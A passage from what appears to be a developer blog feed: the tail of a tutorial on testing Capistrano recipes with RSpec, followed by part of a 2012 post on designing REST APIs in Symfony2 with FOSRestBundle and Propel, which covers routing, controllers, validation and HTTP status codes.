<span class="c1"># Require your lib here</span>
<span class="nb">require</span> <span class="s1">'my_recipe'</span>
</code></pre></div></div>
<p>As you may have noticed, <a href="https://bundler.io/">Bundler</a> is used to manage the dependencies. The
<code class="language-plaintext highlighter-rouge">Gemfile</code> file should contain the following content:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">source</span> <span class="s1">'http://rubygems.org'</span>
<span class="n">gemspec</span>
<span class="n">gem</span> <span class="s1">'rake'</span>
<span class="n">gem</span> <span class="s1">'rspec'</span>
<span class="n">gem</span> <span class="s1">'capistrano-spec'</span>
</code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">gemspec</code> loads all the dependencies located in the <code class="language-plaintext highlighter-rouge">.gemspec</code> file, which is
used to build your <em>gem</em>. For more information, please read <a href="https://bundler.io/rubygems.html">Using Bundler with
Rubygem gemspecs</a>.</p>
<p>Also, a best practice here is to rename your <code class="language-plaintext highlighter-rouge">Gemfile</code> to <code class="language-plaintext highlighter-rouge">.gemfile</code> because
it is used for testing purposes only. Itās not a big deal but it makes your
project a bit ācleanerā.</p>
<p>Run the command below to install your dependencies:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BUNDLE_GEMFILE=.gemfile bundle install
</code></pre></div></div>
<p>You also need a <code class="language-plaintext highlighter-rouge">Rakefile</code> file to configure <a href="https://ruby.github.io/rake/">Rake</a>. It is similar to <code class="language-plaintext highlighter-rouge">make</code>
and it allows to run a set of tasks written in Ruby. In order to run your test
files (āexamplesā in RSpec), you need a <code class="language-plaintext highlighter-rouge">spec</code> task. The following snippet is
all you need:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'rspec/core/rake_task'</span>
<span class="no">RSpec</span><span class="o">::</span><span class="no">Core</span><span class="o">::</span><span class="no">RakeTask</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="ss">:spec</span><span class="p">)</span> <span class="k">do</span> <span class="o">|</span><span class="n">spec</span><span class="o">|</span>
<span class="n">spec</span><span class="p">.</span><span class="nf">rspec_opts</span> <span class="o">=</span> <span class="s1">'--color --format=documentation -I lib -I spec'</span>
<span class="n">spec</span><span class="p">.</span><span class="nf">pattern</span> <span class="o">=</span> <span class="s2">"spec/**/*_spec.rb"</span>
<span class="k">end</span>
<span class="n">task</span> <span class="ss">:default</span> <span class="o">=></span> <span class="ss">:spec</span>
</code></pre></div></div>
<p>Now you probably want to write your first test file, and you are right! Letās
do it!</p>
<h2 id="writing-your-first-test">Writing your first test</h2>
<p>Create a new file named <code class="language-plaintext highlighter-rouge">spec/my_recipe_spec.rb</code> and add the content below:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">require</span> <span class="s1">'spec_helper'</span>
<span class="n">describe</span> <span class="s2">"MyRecipe"</span> <span class="k">do</span>
<span class="n">before</span> <span class="k">do</span>
<span class="vi">@configuration</span> <span class="o">=</span> <span class="no">Capistrano</span><span class="o">::</span><span class="no">Configuration</span><span class="p">.</span><span class="nf">new</span>
<span class="vi">@configuration</span><span class="p">.</span><span class="nf">extend</span><span class="p">(</span><span class="no">Capistrano</span><span class="o">::</span><span class="no">Spec</span><span class="o">::</span><span class="no">ConfigurationExtension</span><span class="p">)</span>
<span class="no">MyRecipe</span><span class="p">.</span><span class="nf">load_into</span><span class="p">(</span><span class="vi">@configuration</span><span class="p">)</span>
<span class="k">end</span>
<span class="c1"># Your code here</span>
<span class="k">end</span>
</code></pre></div></div>
<p>We create a Capistrano configuration instance and we extend it with capistrano-spec.
This configuration instance is injected into our module.</p>
<p>Try to run the <code class="language-plaintext highlighter-rouge">spec</code> task using the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>BUNDLE_GEMFILE=.gemfile bundle exec rake spec
</code></pre></div></div>
<p>You should see:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Finished in 0.00006 seconds
0 examples, 0 failures
</code></pre></div></div>
<p>If everything looks good, congratulations! Time to write your <strong>examples</strong>. Yes,
in Rspec, you donāt really write ātestsā, you write <strong>executable examples</strong> of
the expected behaviors of your code.</p>
<p>First, declare the <code class="language-plaintext highlighter-rouge">@configuration</code> variable as subject:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">subject</span> <span class="p">{</span> <span class="vi">@configuration</span> <span class="p">}</span>
</code></pre></div></div>
<p>It tells RSpec what we are going to test. Instead of writing something like:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">it</span> <span class="p">{</span> <span class="vi">@configuration</span><span class="p">.</span><span class="nf">should</span> <span class="n">have_run</span><span class="p">(</span><span class="s1">'pwd'</span><span class="p">)</span> <span class="p">}</span>
</code></pre></div></div>
<p>You will be able to write:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">it</span> <span class="p">{</span> <span class="n">should</span> <span class="n">have_run</span><span class="p">(</span><span class="s1">'pwd'</span><span class="p">)</span> <span class="p">}</span>
</code></pre></div></div>
<p>Itās way more readable.</p>
<p>Now, you can start your first <code class="language-plaintext highlighter-rouge">context</code>:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">context</span> <span class="s2">"when running my:command"</span> <span class="k">do</span>
<span class="n">before</span> <span class="k">do</span>
<span class="vi">@configuration</span><span class="p">.</span><span class="nf">find_and_execute_task</span><span class="p">(</span><span class="s1">'my:command'</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">it</span> <span class="p">{</span> <span class="n">should</span> <span class="n">have_run</span><span class="p">(</span><span class="s1">'echo "Hello, World!"'</span><span class="p">)</span> <span class="p">}</span>
<span class="k">end</span>
</code></pre></div></div>
<p>A <code class="language-plaintext highlighter-rouge">context</code> block always starts with either <code class="language-plaintext highlighter-rouge">When</code> or <code class="language-plaintext highlighter-rouge">With</code>, and should
describe one feature in a given context. In this context, we try to find and
execute the task <code class="language-plaintext highlighter-rouge">my:command</code> and ensure it has run <code class="language-plaintext highlighter-rouge">echo "Hello, World!"</code>.</p>
<p>If this task takes parameters like a <code class="language-plaintext highlighter-rouge">:name</code> variable, you should write a new
<code class="language-plaintext highlighter-rouge">context</code> to test it. The <code class="language-plaintext highlighter-rouge">@configuration</code> object has all its methods available
in your recipe. You can call the <code class="language-plaintext highlighter-rouge">set</code> method to change a parameter:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">context</span> <span class="s2">"when running my:command"</span> <span class="k">do</span>
<span class="n">before</span> <span class="k">do</span>
<span class="vi">@configuration</span><span class="p">.</span><span class="nf">set</span> <span class="ss">:name</span><span class="p">,</span> <span class="s2">"John"</span>
<span class="vi">@configuration</span><span class="p">.</span><span class="nf">find_and_execute_task</span><span class="p">(</span><span class="s1">'my:command'</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">it</span> <span class="p">{</span> <span class="n">should</span> <span class="n">have_run</span><span class="p">(</span><span class="s1">'echo "Hello, John!"'</span><span class="p">)</span> <span class="p">}</span>
<span class="k">end</span>
</code></pre></div></div>
<p>Other matchers are available like <code class="language-plaintext highlighter-rouge">have_gotten</code> or <code class="language-plaintext highlighter-rouge">have_uploaded</code> depending on
what you need. Look at the <a href="https://github.com/mydrive/capistrano-spec">capistrano-spec README</a> for more
information (it also contains useful examples). Thatās all folks!</p>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://www.betterspecs.org/">Better Specs</a>: RSpec guidelines with Ruby</li>
<li><a href="https://github.com/mydrive/capistrano-spec">capistrano-spec</a>: helpers and
matchers for testing capistrano recipes</li>
<li><a href="https://github.com/everzet/capifony/tree/master/spec">capifony specs</a>: the
capifony test files</li>
</ul>
REST APIs with Symfony2: The Right Way2012-08-02T00:00:00+00:00https://williamdurand.fr/2012/08/02/rest-apis-with-symfony2-the-right-way<p>Designing a <strong>REST</strong> API is not easy. No, really! If you want to design an API the
right way, you have to think a lot about everything, and either to be pragmatic
or to be an API terrorist. Itās not just about <strong>GET</strong>, <strong>POST</strong>, <strong>PUT</strong>, and
<strong>DELETE</strong>. In real life, you have relations between <strong>resources</strong>, the need to
move a resource somewhere else (think about a tree), or you may want to set a
specific value to a resource.</p>
<p>This article will sum up everything I learnt by building different APIs, and
how I used <a href="http://github.com/symfony/symfony">Symfony2</a>, the
<a href="http://github.com/FriendsOfSymfony/FOSRestBundle">FOSRestBundle</a>, the
<a href="http://github.com/nelmio/NelmioApiDocBundle">NelmioApiDocBundle</a>, and
<a href="http://github.com/propelorm/Propel">Propel</a>.
Letās say we will build a User API.</p>
<h3 id="do-you-speak">Do you speakā¦?</h3>
<p>An API is used by clients. They need to know how to talk to your API, and a
decent documentation is a good start, and will be described at the end of this
article.</p>
<p>Actually, you also need to know how to talk to them too, and in the HTTP
protocol, there is something named the <strong>Accept header</strong>. Basically, your
clients will send a header with the format they want to get.</p>
<p>Thanks to the <strong>FOSRestBundle</strong>, everything is done for you. No need to handle
this part yourself, but you have to configure which formats you want to support.
Most of the time, you will use <strong>JSON</strong>, and if you take care of semantic
problematics, you will send <strong>XML</strong>. This part will be described later too.</p>
<h3 id="get-what">GET what?</h3>
<p>The <strong>GET</strong> HTTP verb is idempotent. That means whatever you can do, when you
get a resource, you get the same response, and nothing should be altered.
You will use <strong>GET</strong> to return resources: either a collection, or a single
resource. In Symfony2, the routing definition would be:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># src/Acme/DemoBundle/Resources/config/routing.yml</span>
<span class="na">acme_demo_user_all</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">all</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">GET</span>
<span class="na">acme_demo_user_get</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users/{id}</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">get</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">GET</span>
<span class="na">id</span><span class="pi">:</span> <span class="s2">"</span><span class="err">\</span><span class="s">d+"</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">UserController</code> class would contain the following code:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\DemoBundle\Controller</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\DemoBundle\Model\User</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Acme\DemoBundle\Model\UserQuery</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">FOS\RestBundle\Controller\Annotations</span> <span class="k">as</span> <span class="nc">Rest</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpKernel\Exception\NotFoundHttpException</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">UserController</span>
<span class="p">{</span>
<span class="cd">/**
* @Rest\View
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">allAction</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$users</span> <span class="o">=</span> <span class="nc">UserQuery</span><span class="o">::</span><span class="nf">create</span><span class="p">()</span><span class="o">-></span><span class="nf">find</span><span class="p">();</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s1">'users'</span> <span class="o">=></span> <span class="nv">$users</span><span class="p">);</span>
<span class="p">}</span>
<span class="cd">/**
* @Rest\View
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getAction</span><span class="p">(</span><span class="nv">$id</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="nc">UserQuery</span><span class="o">::</span><span class="nf">create</span><span class="p">()</span><span class="o">-></span><span class="nf">findPk</span><span class="p">(</span><span class="nv">$id</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$user</span> <span class="k">instanceof</span> <span class="nc">User</span><span class="p">)</span> <span class="p">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nc">NotFoundHttpException</span><span class="p">(</span><span class="s1">'User not found'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="k">array</span><span class="p">(</span><span class="s1">'user'</span> <span class="o">=></span> <span class="nv">$user</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Instead of using a <a href="http://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html">ParamConverter</a>,
I always use to fetch the object myself in <code class="language-plaintext highlighter-rouge">get*()</code> methods. You will know later
why, just trust me for the moment, itās better.</p>
<p><strong>Status code</strong> matter for your clients, so if the user doesnāt exist, use a
<code class="language-plaintext highlighter-rouge">NotFoundHttpException</code> exception which returns a response with a <code class="language-plaintext highlighter-rouge">404</code> status
code.</p>
<p>By using the <code class="language-plaintext highlighter-rouge">View</code> annotation, you will render the user object using the right
format according to the user <strong>Accept</strong> header. Using an alias (<code class="language-plaintext highlighter-rouge">Rest</code>) for
this annotation is a trick to avoid confusion with the <code class="language-plaintext highlighter-rouge">View</code> object we will
discover later. Basically, the annotation relies on this class. Itās just a
matter of taste whether you like annotations or not.</p>
<p>Last thing, the <code class="language-plaintext highlighter-rouge">allAction()</code> method has the same behavior, you fetch all your
users, and then you return them.</p>
<p>A user has four properties: an <em>id</em>, an <em>email</em>, a <em>username</em> and a <em>password</em>.
You probably donāt want to expose the password for some good reasons. The easiest
way to achieve that is to configure the serializer. I use to configure it in
YAML:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># In Propel, the most part of the code is located in base classes</span>
<span class="c1"># src/Acme/DemoBundle/Resources/config/serializer/Model.om.BaseUser.yml</span>
<span class="na">Acme\DemoBundle\Model\om\BaseUser</span><span class="pi">:</span>
<span class="na">exclusion_policy</span><span class="pi">:</span> <span class="s">ALL</span>
<span class="na">properties</span><span class="pi">:</span>
<span class="na">id</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">username</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">email</span><span class="pi">:</span>
<span class="na">expose</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>
<p>I exclude all properties by default, it allows me more control on what I really
want to expose. It doesnāt matter with four attributes, but itās always better
to adopt this strategy, itās like configuring a firewall after all.</p>
<p>Basically, you will get the following JSON response:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
<span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">999</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">xxxx</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">email</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">xxxx@example.org</span><span class="dl">"</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Easy right? But, you will probably need to create, update, or delete your users,
and thatās what we will discover in the next sections.</p>
<h3 id="post-it">POST āit</h3>
<p>Creating a resource implies the use of the <strong>POST</strong> HTTP verb. But how do you get
data? How do you validate data? And how do you create your new resource? These
three questions have more than one answer or strategy.</p>
<p>You could use the deserialization mechanism to create an object from the input
serialized data. There is an interesting work in progress by @beberlei about
<a href="https://github.com/simplethings/SimpleThingsFormSerializerBundle">Form
deserialization</a>.
Itās a bit different than just using the <a href="https://github.com/symfony/Serializer">Serializer
component</a> but it seems easier.</p>
<p>I use to use the awesome <a href="https://github.com/symfony/Form">Symfony Forms</a> to do
everything at once. So letās write a Form type to create our users. Using the
PropelBundle, you could use the <code class="language-plaintext highlighter-rouge">propel:form:generate</code> command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php app/console propel:form:generate @AcmeDemoBundle User
</code></pre></div></div>
<p>It will create the following form type:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="kn">namespace</span> <span class="nn">Acme\DemoBundle\Form\Type</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\AbstractType</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\Form\FormBuilderInterface</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\OptionsResolver\OptionsResolverInterface</span><span class="p">;</span>
<span class="kd">class</span> <span class="nc">UserType</span> <span class="kd">extends</span> <span class="nc">AbstractType</span>
<span class="p">{</span>
<span class="cd">/**
*Ā {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">buildForm</span><span class="p">(</span><span class="kt">FormBuilderInterface</span> <span class="nv">$builder</span><span class="p">,</span> <span class="kt">array</span> <span class="nv">$options</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$builder</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'username'</span><span class="p">);</span>
<span class="nv">$builder</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'email'</span><span class="p">,</span> <span class="s1">'email'</span><span class="p">);</span>
<span class="nv">$builder</span><span class="o">-></span><span class="nf">add</span><span class="p">(</span><span class="s1">'password'</span><span class="p">,</span> <span class="s1">'password'</span><span class="p">);</span>
<span class="p">}</span>
<span class="cd">/**
*Ā {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">setDefaultOptions</span><span class="p">(</span><span class="kt">OptionsResolverInterface</span> <span class="nv">$resolver</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$resolver</span><span class="o">-></span><span class="nf">setDefaults</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="s1">'data_class'</span> <span class="o">=></span> <span class="s1">'Acme\DemoBundle\Model\User'</span><span class="p">,</span>
<span class="s1">'csrf_protection'</span> <span class="o">=></span> <span class="kc">false</span><span class="p">,</span>
<span class="p">));</span>
<span class="p">}</span>
<span class="cd">/**
*Ā {@inheritdoc}
*/</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">getName</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="s1">'user'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The only things I tweaked are the <code class="language-plaintext highlighter-rouge">email</code> and <code class="language-plaintext highlighter-rouge">password</code> types, and I disabled
the CSRF protection. In a REST API, you probably use an security layer like
OAuth for example. Having a CSRF protection in a REST context doesnāt make sense.</p>
<p>Now, you want to add validation rules, and thanks to the <a href="http://symfony.com/doc/master/book/validation.html">Validator
component</a>, itās really
powerful. I definitely love this component because it becomes simple to validate
all data you want in a safe way.</p>
<p>Back to our use case, I use to define my validation rules in YAML, but feel free
to use your preferred way. Here is an example:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># src/Acme/DemoBundle/Resources/config/validation.yml</span>
<span class="na">Acme\DemoBundle\Model\User</span><span class="pi">:</span>
<span class="na">getters</span><span class="pi">:</span>
<span class="na">username</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">NotBlank</span><span class="pi">:</span>
<span class="na">email</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">NotBlank</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">Email</span><span class="pi">:</span>
<span class="na">password</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">NotBlank</span><span class="pi">:</span>
</code></pre></div></div>
<p>Letās write the controller method now:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">newAction</span><span class="p">()</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">processForm</span><span class="p">(</span><span class="k">new</span> <span class="nc">User</span><span class="p">());</span>
<span class="p">}</span>
</code></pre></div></div>
<p>New tip, always use a method to process your form. You will thank yourself.
The <code class="language-plaintext highlighter-rouge">processForm()</code> method looks like:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">private</span> <span class="k">function</span> <span class="n">processForm</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$statusCode</span> <span class="o">=</span> <span class="nv">$user</span><span class="o">-></span><span class="nf">isNew</span><span class="p">()</span> <span class="o">?</span> <span class="mi">201</span> <span class="o">:</span> <span class="mi">204</span><span class="p">;</span>
<span class="nv">$form</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">createForm</span><span class="p">(</span><span class="k">new</span> <span class="nc">UserType</span><span class="p">(),</span> <span class="nv">$user</span><span class="p">);</span>
<span class="nv">$form</span><span class="o">-></span><span class="nf">handleRequest</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="nf">getRequest</span><span class="p">());</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$form</span><span class="o">-></span><span class="nf">isValid</span><span class="p">())</span> <span class="p">{</span>
<span class="nv">$user</span><span class="o">-></span><span class="nf">save</span><span class="p">();</span>
<span class="nv">$response</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Response</span><span class="p">();</span>
<span class="nv">$response</span><span class="o">-></span><span class="nf">setStatusCode</span><span class="p">(</span><span class="nv">$statusCode</span><span class="p">);</span>
<span class="c1">// set the `Location` header only when creating new resources</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">201</span> <span class="o">===</span> <span class="nv">$statusCode</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$response</span><span class="o">-></span><span class="n">headers</span><span class="o">-></span><span class="nf">set</span><span class="p">(</span><span class="s1">'Location'</span><span class="p">,</span>
<span class="nv">$this</span><span class="o">-></span><span class="nf">generateUrl</span><span class="p">(</span>
<span class="s1">'acme_demo_user_get'</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span><span class="s1">'id'</span> <span class="o">=></span> <span class="nv">$user</span><span class="o">-></span><span class="nf">getId</span><span class="p">()),</span>
<span class="kc">true</span> <span class="c1">// absolute</span>
<span class="p">)</span>
<span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nc">View</span><span class="o">::</span><span class="nf">create</span><span class="p">(</span><span class="nv">$form</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Basically, you create a form, you bind input data, if everything is valid, you
save your user, and you return a response. If something went wrong, you return a
<strong><code class="language-plaintext highlighter-rouge">400</code></strong> status code with the form.
The <code class="language-plaintext highlighter-rouge">$form</code> instance will be serialized to highlight invalid input data. For
example, you could get the following error response:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
<span class="dl">"</span><span class="s2">code</span><span class="dl">"</span><span class="p">:</span> <span class="mi">400</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Validation Failed</span><span class="dl">"</span><span class="p">;</span>
<span class="dl">"</span><span class="s2">errors</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">children</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">errors</span><span class="dl">"</span><span class="p">:</span> <span class="p">[</span>
<span class="dl">"</span><span class="s2">This value should not be blank.</span><span class="dl">"</span>
<span class="p">]</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Note that the <code class="language-plaintext highlighter-rouge">View</code> class here is not the same as the annotation one, thatās why
I used an alias earlier. Read more about this class in <a href="https://github.com/FriendsOfSymfony/FOSRestBundle/blob/master/Resources/doc/2-the-view-layer.md">The View
Layer</a>
chapter in the FOSRestBundle documentation.</p>
<p>Also, passing the form name is important here. Basically, your clients will send the following content:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
<span class="dl">"</span><span class="s2">user</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">email</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">foo@example.org</span><span class="dl">"</span><span class="p">,</span>
<span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hahaha</span><span class="dl">"</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>You can try this API method with <code class="language-plaintext highlighter-rouge">curl</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -v -H "Accept: application/json" -H "Content-type: application/json" -X
POST -d '{"user":{"username":"foo", "email": "foo@example.org", "password":
"hahaha"}}' http://example.com/users
</code></pre></div></div>
<p>Make sure to set the <code class="language-plaintext highlighter-rouge">body_listener</code> parameter to <code class="language-plaintext highlighter-rouge">true</code> in the FOSRestBundle
configuration. It allows you to receive data in JSON, XML, etc. Then again,
everything works out of the box.</p>
<p>As I said previously, when everything is ok, you persist the user
(<code class="language-plaintext highlighter-rouge">$user->save()</code> in Propel), and then you return a response.</p>
<p>You will return a <strong><code class="language-plaintext highlighter-rouge">201</code></strong> status code which means <em>resource created</em>.
Note that I donāt use the <code class="language-plaintext highlighter-rouge">View</code> annotation here.</p>
<p>But if you read the code, you may think that I did weird stuff. Actually, once a
resource is created, you have to return <strong>only one information</strong>: how to access
this resource, in other words, its <strong>URI</strong>.
The HTTP specification says you should use the <strong>Location</strong> header, and thatās
what I do here. But, most of the time you donāt want to perform a new request
to get information like the <code class="language-plaintext highlighter-rouge">id</code> of the user (you already have other information
anyway). Here is the beginning of my main concern: <em>pragmatic vs terrorist?</em></p>
<p>Guess what? I use to be terrorist here, and I follow the specification by
returning just the <strong>Location</strong> header:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Location: http://example.com/users/999
</code></pre></div></div>
<p>When I have a JavaScript framework like Backbone.js as client, and because I
donāt want to rewrite it entirely because it doesnāt support right APIs, I
return the <code class="language-plaintext highlighter-rouge">id</code> in addition. Being pragmatic is not a bad idea anyway.</p>
<p>Donāt forget to add the routing definition for this action. Creating a resource
is a <code class="language-plaintext highlighter-rouge">POST</code> request to the collection, so letās add a new route:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">acme_demo_user_new</span><span class="pi">:</span>
<span class="na">pattern</span><span class="pi">:</span> <span class="s">/users</span>
<span class="na">defaults</span><span class="pi">:</span> <span class="pi">{</span> <span class="nv">_controller</span><span class="pi">:</span> <span class="nv">AcmeDemoBundle</span><span class="pi">:</span><span class="nv">User</span><span class="pi">:</span><span class="nv">new</span><span class="pi">,</span> <span class="nv">_format</span><span class="pi">:</span> <span class="nv">~</span> <span class="pi">}</span>
<span class="na">requirements</span><span class="pi">:</span>
<span class="na">_method</span><span class="pi">:</span> <span class="s">POST</span>
</code></pre></div></div>
<p>Once you know how to create a new resource, itās quite easy to update it.</p>
<h3 id="put-vs-patch-fight">PUT vs PATCH, fight!</h3>
<p>Updating a resource in REST means replacing it actually, especially if you use
the <strong>PUT</strong> HTTP verb. There is also the <strong>PATCH</strong> method which takes a diff as
input and applies a <em>patch</em> to your resource, in other words, itās a <strong>partial
update</strong>.</p>
<p>Thanks to our previous work, updating a resource will be quickly implemented.
You have to write a new method in your controller, and to add a new route.
Here, I rely on a ParamConverter to fetch the User object. If it doesnāt exist,
the converter will throw an exception and this exception will be converted in a
response with a <strong><code class="language-plaintext highlighter-rouge">404</code></strong> status code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="c1">// ...</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">editAction</span><span class="p">(</span><span class="kt">User</span> <span class="nv">$user</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nv">$this</span><span class="o">-></span><span class="nf">processForm</span><span class="p">(</span><span class="nv">$user</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
